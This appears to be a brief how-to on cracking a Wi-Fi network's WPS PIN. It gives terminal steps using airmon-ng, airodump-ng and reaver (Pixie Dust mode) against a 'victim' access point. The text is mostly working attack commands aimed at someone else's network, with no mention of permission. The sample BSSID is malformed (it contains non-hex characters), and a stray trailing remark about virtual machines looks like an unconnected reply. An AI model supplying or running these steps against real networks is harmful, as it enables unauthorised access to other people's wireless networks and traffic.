So lets Start Cracking..

Step 1: Open Terminal and Find out the name of your wireless adapter. , type ifconfig on a terminal. See the result. (here my wireless adapter is ‘wlan0’)


Step 2: Type the following commands on terminal.

  • airmon-ng check kill
  • airmon-ng check


Step 3: Enable Monitor mode. Now, we use a tool called airmon-ng to create a virtual interface called mon. Just type

  • airmon-ng start wlan0 


Step 4: Start capturing packets. we’ll use airodump-ng to capture the packets in the air. You’ll see the name of the wifi you want to hack.

  • airodump-ng wlan0mon

then press Ctrl+c


Step5: Copy the BSSID of Victim. And write it on this command.

  • reaver -i wlan0mon -b (BSSID) -vv -K 1

For ex: reaver -i wlan0mon -b B0:5G:54:96:G7:70 -vv -K 1

    • Thats actually the major drawback of using virtual machine and virtual box. You’ll have to insert a wireless LAN module from third party to get access to wifi or just use live bootable USB like the author did.
